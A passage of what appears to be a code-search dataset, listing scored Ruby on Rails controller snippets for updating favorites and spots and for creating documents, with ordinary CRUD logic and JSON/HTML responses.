current_user.favorites.update(params[:favorite_id],:note=>params[:favorites][:note])\n \n respond_to do |format|\n #need to call create on a listing to increment counter\n format.html { render :partial=>'show_note', :locals=>{:favorite=>@favorite} }\n format.xml { render :xml => @favorite.errors, :status => :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "3fa7e2c708738f94cc3c70ef91f711d7", "score": "0.636803", "text": "def update\n @favorite = Favorite.find(params[:id])\n @band.update_attributes(params[:favorite])\n respond_with @favorite \n end", "title": "" }, { "docid": "ffd179b8fae6f89e8db04d564243ac5c", "score": "0.6365619", "text": "def update\n if @users_favorite.update(users_favorite_params)\n render :show, status: :ok, location: @users_favorite\n else\n render json: @users_favorite.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "346a75349bbaa2253f04de6993f73e52", "score": "0.6350937", "text": "def update\n @spot = Spot.find(params[:id])\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n flash[:notice] = 'Spot updated successfully'\n format.html { redirect_to spot_path(@spot_path) }\n format.xml { head :ok }\n else\n flash[:error] = 'There were problems updating the spot'\n format.html { render :action => 'edit' }\n format.xml { render :xml => @spot.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "e21b3c7df31069c80448631f293d4de1", "score": "0.6347114", "text": "def update\n respond_to do |format|\n if @spott.update(spott_params)\n format.html { redirect_to @spott, notice: 'Spott was successfully updated.' }\n format.json { render :show, status: :ok, location: @spott }\n else\n format.html { render :edit }\n format.json { render json: @spott.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "033ed90cb34e3084693552caaf60b560", "score": "0.63142425", "text": "def update\r\n #hack need to redo favorites list in terms of favorites, not listings\r\n @favorite = current_user.favorites.find(:first, :conditions=>['listing_id = ?', params[:listing_id]])\r\n @favorite.note = params[:favorites][:note]\r\n @favorite.save\r\n \r\n respond_to do |format|\r\n #need to call create on a listing to increment counter\r\n format.html { render :partial=>'show_note', :locals=>{:favorite=>@favorite} }\r\n format.xml { render :xml => @favorite.errors, :status => :unprocessable_entity }\r\n end\r\n end", "title": "" }, { "docid": "cc03719bb57e3fffb561b80b3f009ee2", "score": "0.6302696", "text": "def change_favorite_status\n RealEstate.update_favorite_status params[:id], params[:is_favorite]\n\n render json: { status: 0 }\n end", "title": "" }, { "docid": "5558bc428713a2deee5583a21a32a68b", "score": "0.62988055", "text": "def update\n respond_to do |format|\n if @favorites_recipe.update(favorites_recipe_params)\n format.html { redirect_to @favorites_recipe, notice: 'Favorites recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorites_recipe }\n else\n format.html { render :edit }\n format.json { render json: @favorites_recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44a121004e31c90e253d01193e677b4b", "score": "0.629817", "text": "def update\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:favorite])\n flash[:notice] = 'Favorite was successfully updated.'\n format.html { redirect_to favorite_url(@favorite) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @favorite.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "75d3d5f3ac2a57a51483481181d40a7d", "score": "0.62962824", "text": "def update\n @spoke = Spoke.find(params[:id])\n\n respond_to do |format|\n if @spoke.update_attributes(params[:spoke])\n format.html { redirect_to @spoke, notice: 'Spoke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoke.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cfca5a5874bd120eb8c71d7ba46760b3", "score": "0.6281779", "text": "def update\n respond_to do |format|\n if @favorite_artist.update(favorite_artist_params)\n format.html { redirect_to @favorite_artist, notice: 'Favorite artist was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_artist }\n else\n format.html { render :edit }\n format.json { render json: @favorite_artist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03a72e8862e1a25df801b265d9f08b3f", "score": "0.6272192", "text": "def update\n respond_to do |format|\n if @favorite_parking.update(favorite_parking_params)\n format.html { redirect_to @favorite_parking, notice: 'Favorite parking was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_parking }\n else\n format.html { render :edit }\n format.json { render json: @favorite_parking.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2572fb900123dab962d92dfd5cd31505", "score": "0.62666595", "text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend", "title": "" }, { "docid": "8ad8fe75859dd408e7d8b4248c416b32", "score": "0.6262025", "text": "def update\n respond_to do |format|\n if @line_favourite.update(line_favourite_params)\n format.html { redirect_to @line_favourite, notice: 'Line favourite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_favourite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43cac703558185b51f64ac9590a4fc25", "score": "0.6260927", "text": "def favorite\n @artwork = Artwork.find(params[:id])\n @artwork.favorite = true\n @artwork.save!\n render json: @artwork\n end", "title": "" }, { "docid": "326e11b763268b8aa97d121563dd5255", "score": "0.6257775", "text": "def update\n @my_favorite = MyFavorite.find(params[:id])\n\n respond_to do |format|\n if @my_favorite.update_attributes(params[:my_favorite])\n flash[:notice] = 'MyFavorite was successfully updated.'\n format.html { redirect_to(@my_favorite) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @my_favorite.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93af862b632c420aadf4df0a161aff12", "score": "0.62499285", "text": "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n flash[:notice] = 'Spot was successfully updated.'\n format.html { redirect_to(@spot.thing) }\n #format.html { redirect_to(spots_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63e4ae48a49f0f38bb60a0b5271616d1", "score": "0.6244237", "text": "def update\n if @line_item.favorite == session[:favorite_id]\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n else\n invalid_favorite\n end\n end", "title": "" }, { "docid": "cd0e15186b91a55f9a7840fd3ddb3324", "score": "0.62404597", "text": "def update\n respond_to do |format|\n if @favourite.update(favourite_params)\n format.html { redirect_to @favourite, notice: 'Favourite was successfully updated.' }\n format.json { render :show, status: :ok, location: @favourite }\n else\n format.html { render :edit }\n format.json { render json: @favourite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd0e15186b91a55f9a7840fd3ddb3324", "score": "0.62404597", "text": "def update\n respond_to do |format|\n if @favourite.update(favourite_params)\n format.html { redirect_to @favourite, notice: 'Favourite was successfully updated.' }\n format.json { render :show, status: :ok, location: @favourite }\n else\n format.html { render :edit }\n format.json { render json: @favourite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd0e15186b91a55f9a7840fd3ddb3324", "score": "0.62404597", "text": "def update\n respond_to do |format|\n if @favourite.update(favourite_params)\n format.html { redirect_to @favourite, notice: 'Favourite was successfully updated.' }\n format.json { render :show, status: :ok, location: @favourite }\n else\n format.html { render :edit }\n format.json { render json: @favourite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36af7a229923824b52e16a4f2e4d05b6", "score": "0.6223863", "text": "def update\n respond_to do |format|\n if @user_favorite_route.update(user_favorite_route_params)\n format.html { redirect_to @user_favorite_route, notice: 'User Favorite route was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_favorite_route }\n else\n format.html { render :edit }\n format.json { render json: @user_favorite_route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dca2dd61f9e46924bfb42a3fb94eb9a8", "score": "0.6217449", "text": "def update\n @fav = Fav.find(params[:id])\n\n if @fav.update(fav_params)\n head :no_content\n else\n render json: @fav.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "247e7f9f7846aa828b29a21be2b83650", "score": "0.6214981", "text": "def update\n @coffeespot = Coffeespot.find(params[:id])\n\n respond_to do |format|\n if @coffeespot.update_attributes(params[:coffeespot])\n format.html { redirect_to @coffeespot, notice: 'Coffeespot was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @coffeespot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6da84077db2655ab63197f0ef78cc8ec", "score": "0.6209704", "text": "def update\n respond_to do |format|\n if @tourist_spot.update(tourist_spot_params)\n format.html { redirect_to @tourist_spot, notice: 'Tourist spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @tourist_spot }\n else\n format.html { render :edit }\n format.json { render json: @tourist_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "293d64f475cae67007c7921a4576b664", "score": "0.6195674", "text": "def update\n @favorites = Favorites.find(params[:id])\n\n respond_to do |format|\n if @favorites.update_attributes(params[:favorites])\n flash[:notice] = 'Favorites was successfully updated.'\n format.html { redirect_to(@favorites) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @favorites.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "293d64f475cae67007c7921a4576b664", "score": "0.6195674", "text": "def update\n @favorites = Favorites.find(params[:id])\n\n respond_to do |format|\n if @favorites.update_attributes(params[:favorites])\n flash[:notice] = 'Favorites was successfully updated.'\n format.html { redirect_to(@favorites) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @favorites.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3461cf6405819171e2d72ec349744577", "score": "0.6184534", "text": "def update\n respond_to do |format|\n\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n if params[:spot][:photos]\n @spot.photos.attach(params[:spot][:photos])\n end\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f8f01929916e98184ce1c58e566f009", "score": "0.6184434", "text": "def update\n @microspot = Microspot.find(params[:id])\n\n respond_to do |format|\n if @microspot.update_attributes(params[:microspot])\n format.html { redirect_to @microspot, notice: 'Microspot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microspot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "482d43d206aa8a07591264feada4fe82", "score": "0.6171454", "text": "def update\n Item.find(params[:id]).update(is_favorite: true)\n redirect_to items_path\n end", "title": "" }, { "docid": "ab0c33eb069a6f2d27a426d8ab3965f2", "score": "0.6160742", "text": "def update\n respond_to do |format|\n if @favorite_class.update(favorite_class_params)\n format.html { redirect_to @favorite_class, notice: 'Favorite class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @favorite_class.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ead9c68caa694e4b6e5e9eaa7f8099f4", "score": "0.615099", "text": "def update\n respond_to do |format|\n if @favorite_actor.update(favorite_actor_params)\n format.html { redirect_to @favorite_actor, notice: 'Favorite actor was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_actor }\n else\n format.html { render :edit }\n format.json { render json: @favorite_actor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e9c896b40904bbf170db4fe9e1b8f30", "score": "0.6148465", "text": "def update\n @fav_line_item = FavLineItem.find(params[:id])\n\n respond_to do |format|\n if @fav_line_item.update_attributes(params[:fav_line_item])\n format.html { redirect_to @fav_line_item, notice: 'Fav line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fav_line_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0ac584f143045c10f6832823b57c9de2", "score": "0.61324745", "text": "def update\n respond_to do |format|\n if @favourite.update(favourite_params)\n format.html { redirect_to blogs_path, notice: 'Favourite was successfully updated.' }\n format.json { render :show, status: :ok, location: @favourite }\n else\n format.html { render :edit }\n format.json { render json: @favourite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d8780db2e7f09b4077d03f58caf16d2", "score": "0.61312693", "text": "def update\n @spot_finder = SpotFinder.find(params[:id])\n\n respond_to do |format|\n if @spot_finder.update_attributes(params[:spot_finder])\n format.html { redirect_to(@spot_finder, :notice => 'Spot finder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot_finder.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a947b80785a34abbb81429e41d6c9975", "score": "0.61151063", "text": "def update\n respond_to do |format|\n if @favorite_product.update(favorite_product_params)\n format.html { redirect_to @favorite_product, notice: 'Favorite product was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_product }\n else\n format.html { render :edit }\n format.json { render json: @favorite_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88e80cd936ed19b2d0a048dd04faeb22", "score": "0.61083895", "text": "def update\n respond_to do |format|\n if @user_favorite_list.update(user_favorite_list_params)\n format.html { redirect_to @user_favorite_list, notice: 'User favorite list was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_favorite_list }\n else\n format.html { render :edit }\n format.json { render json: @user_favorite_list.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "413c2eb106bda61c5251692416dc879d", "score": "0.60964173", "text": "def update\n params[:spot][:category_ids] ||= []\n @spot = Spot.find(params[:id])\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to(@spot, :notice => t('general.label.item_update', :item => t('activerecord.models.spot'))) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5922978c7ef8f523c84d88d8aa10763e", "score": "0.6093842", "text": "def update\n respond_to do |format|\n if @favorite_post.update(favorite_post_params)\n format.html { redirect_to @favorite_post, notice: 'Favorite post was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_post }\n else\n format.html { render :edit }\n format.json { render json: @favorite_post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1dfc1c302f2527dbfb2b635f49a772e", "score": "0.6080532", "text": "def update\n respond_to do |format|\n if @favroite.update(favroite_params)\n format.html { redirect_to @favroite, notice: 'Favroite was successfully updated.' }\n format.json { render :show, status: :ok, location: @favroite }\n else\n format.html { render :edit }\n format.json { render json: @favroite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32b8e1165ca98e484ef094fe314d8165", "score": "0.6075069", "text": "def update_favorites_params\n\t\t\tparams.permit(:id,:user_id,:favorite)\n\t\tend", "title": "" }, { "docid": "5ac0192e9ff9d8fbf9fe6e9d0d4a211b", "score": "0.60699606", "text": "def update\n @leaderboard_spot = LeaderboardSpot.find(params[:id])\n\n respond_to do |format|\n if @leaderboard_spot.update_attributes(params[:leaderboard_spot])\n format.html { redirect_to @leaderboard_spot, notice: 'Leaderboard spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @leaderboard_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f209c001be010f7e61b860c167cbfb2", "score": "0.6064268", "text": "def update\n respond_to do |format|\n if @fav_recipe.update(fav_recipe_params)\n format.html { redirect_to @fav_recipe, notice: 'Fav recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fav_recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08ecb8ea76553c3b49876116a74a2c50", "score": "0.60473055", "text": "def create\n @api_v1_favorite_spot = Api::V1::FavoriteSpot.where('spot_id = ? AND user_id = ? ', params[:spot_id], @current_user.id).first\n\n if @api_v1_favorite_spot.nil?\n @api_v1_favorite_spot = Api::V1::FavoriteSpot.new(api_v1_favorite_spot_params)\n @api_v1_favorite_spot.user_id = @current_user.id\n\n user_spot = Api::V1::UserSpot.where('spot_id = ? AND user_id = ? ', params[:spot_id], @current_user.id).first\n if user_spot.nil?\n user_spot = Api::V1::UserSpot.new\n user_spot.spot_id = params[:spot_id]\n user_spot.user_id = @current_user.id\n user_spot.save\n end\n \n \n if !@api_v1_favorite_spot.save\n render json: @api_v1_favorite_spot.errors, status: :unprocessable_entity\n else\n render json: @api_v1_favorite_spot, status: :created, location: @api_v1_favorite_spot\n end\n else\n head :no_content\n end\n end", "title": "" }, { "docid": "da2c5bee57062ecf2cc65c31435884a2", "score": "0.6040386", "text": "def update\n @favorite_blog.update(favorite_blog_params)\n if @favorite_blog.valid?\n render json: @favorite_blog\n end\n end", "title": "" }, { "docid": "dc042befc133e712ba6fb81dbc643bb2", "score": "0.6031182", "text": "def update\n respond_to do |format|\n if can? :update, Spot\n if @spot.update(spot_params)\n format.html {redirect_to @spot, notice: 'スポット情報を更新しました。'}\n format.json {render :show, status: :ok, location: @spot}\n else\n format.html {render :edit}\n format.json {render json: @spot.errors, status: :unprocessable_entity}\n end\n else\n format.html {redirect_to @spot, alert: 'スポット情報を更新する権限がありません。'}\n end\n end\n end", "title": "" }, { "docid": "3293c8413ef9f1aaa2c346ff7f82cd67", "score": "0.60281515", "text": "def update\n respond_to do |format|\n if @favorite_song.update(favorite_song_params)\n format.html { redirect_to @favorite_song, notice: 'Favorite song was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_song }\n else\n format.html { render :edit }\n format.json { render json: @favorite_song.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "05cdf864697299b74ead595e31d106ec", "score": "0.6025587", "text": "def update\n respond_to do |format|\n if @favorite_quote.update(favorite_quote_params)\n format.html { redirect_to @favorite_quote, notice: 'Favorite quote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @favorite_quote.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "242fe0da07080410604e23f977e2af02", "score": "0.60153794", "text": "def update\n respond_to do |format|\n if @favorite_produk.update(favorite_produk_params)\n format.html { redirect_to @favorite_produk, notice: 'Favorite produk was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_produk }\n else\n format.html { render :edit }\n format.json { render json: @favorite_produk.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7950867336f1b014c2642574610e7948", "score": "0.60080993", "text": "def update\n @trend_spotting = TrendSpotting.find(params[:id])\n\n respond_to do |format|\n if @trend_spotting.update_attributes(params[:trend_spotting])\n format.html { redirect_to @trend_spotting, notice: 'Trend spotting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"forms\" }\n format.json { render json: @trend_spotting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b745a825a7ca91aeba356e1bbcc86ca", "score": "0.59874606", "text": "def update\n @favtweet = Favtweet.find(params[:id])\n\n respond_to do |format|\n if @favtweet.update_attributes(params[:favtweet])\n format.html { redirect_to @favtweet, notice: 'Favtweet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favtweet.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60caf44e2d1880d6cd34f647ea2edd9a", "score": "0.59836215", "text": "def update\n @user = User.find(params[:user_id])\n @favourite = @user.favourites.find(params[:id])\n\n respond_to do |format|\n if @favourite.update_attributes(params[:favourite])\n format.html { redirect_to [@user,@favourite], notice: 'Favourite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favourite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8dd15954e8817408e15e3ba8d1d7adf", "score": "0.59805393", "text": "def update\n respond_to do |format|\n if @fav_item.update(fav_item_params)\n format.html { redirect_to @fav_item, notice: \"Fav item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @fav_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @fav_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
7af56d5952a2aa320fb51d8381161082
POST /documents POST /documents.json
[ { "docid": "e95e11d1f396cad2d3fed9b595b6f176", "score": "0.0", "text": "def create\r\n @appoint_responsible = AppointResponsible.new\r\n @document = Document.new(document_params)\r\n @document.user_id = current_user.id\r\n @document.email = current_user.email\r\n\r\n\r\n respond_to do |format|\r\n if @document.save\r\n\r\n logger.debug(\"========\")\r\n logger.debug(params[:account_transfer][:inheritor_email])\r\n\r\n account_transfer = AccountTransfer.new(\r\n inheritor_email: params[:account_transfer][:inheritor_email],\r\n transferable_type: \"Document\",\r\n transmitter_id: current_user.id,\r\n transferable_id: @document.id\r\n )\r\n\r\n inheritor = User.find_by_email(params[:account_transfer][:inheritor_email])\r\n account_transfer.inheritor_id = inheritor.id if inheritor\r\n\r\n\r\n if account_transfer.save\r\n UserMailer.with(inheritor: @inheritor).welcome_email.deliver_later\r\n format.html { redirect_to root_url, notice: 'Document was successfully created.' }\r\n format.json { render :show, status: :created, location: @document }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @document.errors, status: :unprocessable_entity }\r\n end\r\n else\r\n format.html { render :new }\r\n format.json { render json: @document.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" } ]
[ { "docid": "706f5c0f4f01c5b58d1a75fe4ca43b41", "score": "0.7266928", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, :notice => 'Document was successfully created.' }\n format.json { render :json => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d00c7acf912af4a74d16dde746fc86a7", "score": "0.72268146", "text": "def create\n @document = Document.new(document_params)\n\n if @document.save\n render json: {status: 'SUCCESS', message:'Document created', data:@document}, status: :ok\n else\n render json: {status: 'ERROR', message:'Document not created', data:@document.errors}, status: :unprocessable_entity\n end\n\n end", "title": "" }, { "docid": "452bf1925786841d8d87ecb2316171be", "score": "0.7201593", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "452bf1925786841d8d87ecb2316171be", "score": "0.7201593", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0266265c8c066eb0dc7e4d8220d7f800", "score": "0.71924144", "text": "def create \n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_path, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: document_path }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n\n end\n end", "title": "" }, { "docid": "9df9a5bae987d8a1e977fbc4bc93b857", "score": "0.7150947", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_path, notice: 'Document was successfully uploaded.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render new_document_path }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7bba2813a01dbbf52a08ad5649707e2e", "score": "0.71373194", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render jbuilder: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d79e7a2d2d476c9115bd757f9ffa4012", "score": "0.7137197", "text": "def create\n @document = Document.new(document_params)\n\n if @document.save\n render :show, status: :created, location: @document\n else\n render json: @document.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f341e3c59c4dd527edd52d59559d53cf", "score": "0.7123875", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0adf2fdfe345b6d35b9bc64cf779ffa3", "score": "0.7048024", "text": "def create\n\n \n @document = current_user.documents.create(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html {\n render :json => [@document.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: [@document.to_jq_upload].to_json, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60edae8ebffbd47275edabd703df135b", "score": "0.6892526", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html{\n flash[:success] = \"Document has saved successfully!\"\n redirect_to @document\n }\n format.json {\n url = url_for @document\n render json: {\n status_code: 0,\n response:{\n url: url\n }\n }\n }\n else\n format.html{ render 'new' }\n format.json {\n render json: {\n status_code: 1,\n errors: @document.errors\n }\n }\n end\n end\n end", "title": "" }, { "docid": "b705b196c3d9b58eff0d968679e9b56a", "score": "0.68764293", "text": "def create\n @document = current_user.documents.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to :action => \"index\", notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n flash[:alert] = error_messages(@document.errors)\n\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19b3d379cbae8d9c785c540d96b9d2d0", "score": "0.68370944", "text": "def create\n @document = Document.new(document_params)\n @document.user = current_user\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b18b49e0b530eafe7191055000a182e2", "score": "0.68171847", "text": "def create\n @document = Document.new(resource_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Primary document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf980f2152138acd349c529a0b025317", "score": "0.6815397", "text": "def create\n @has_document = HasDocument.new(has_document_params)\n \n respond_to do |format|\n if @has_document.save\n format.html { redirect_to @has_document, notice: 'Has document was successfully created.' }\n format.json { render :show, status: :created, location: @has_document }\n else\n format.html { render :new }\n format.json { render json: @has_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c242337d074bec16fb1afc057352dda5", "score": "0.67503077", "text": "def create\n @document = Document.new(params[:document].merge(:owner => current_user))\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to \"/view_pad/#{@document.id}\", notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b52323b635e3c3fe185a73ba231d28e", "score": "0.67453706", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, success: 'Documento creado con éxito.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fdb3003b87f5ce6d473d4459b44ef440", "score": "0.6733334", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to edit_admin_document_path(@document), notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n format.js { head :no_content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "871f37ac7383776304123dd8bf954c68", "score": "0.6722479", "text": "def create\n @documentable = find_documentable\n @document = @documentable.documents.build(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: t('.notice', document: @document) }\n format.json\n else\n format.html { render :new }\n format.json {\n render json: @document.errors[:attachment], status: :unprocessable_entity\n }\n end\n end\n end", "title": "" }, { "docid": "1e7590da28ea9426a0588f5a1fdf544f", "score": "0.6686209", "text": "def upload\n doc = DocumentService::Document.create!({\n original_filename: params[\"original_filename\"],\n content_type: params[\"file\"].content_type,\n document: params['file'].tempfile,\n public: true\n })\n render json: {id: doc.id}, status: :created\n end", "title": "" }, { "docid": "e12e65cae3d598e493015926eee7fdbf", "score": "0.66843265", "text": "def create\n @document = Document.new(params[:document])\n @document.stuffing_data = []\n @document.user = current_user\n\n #Hack for now - add all column keys to primary keys for search\n 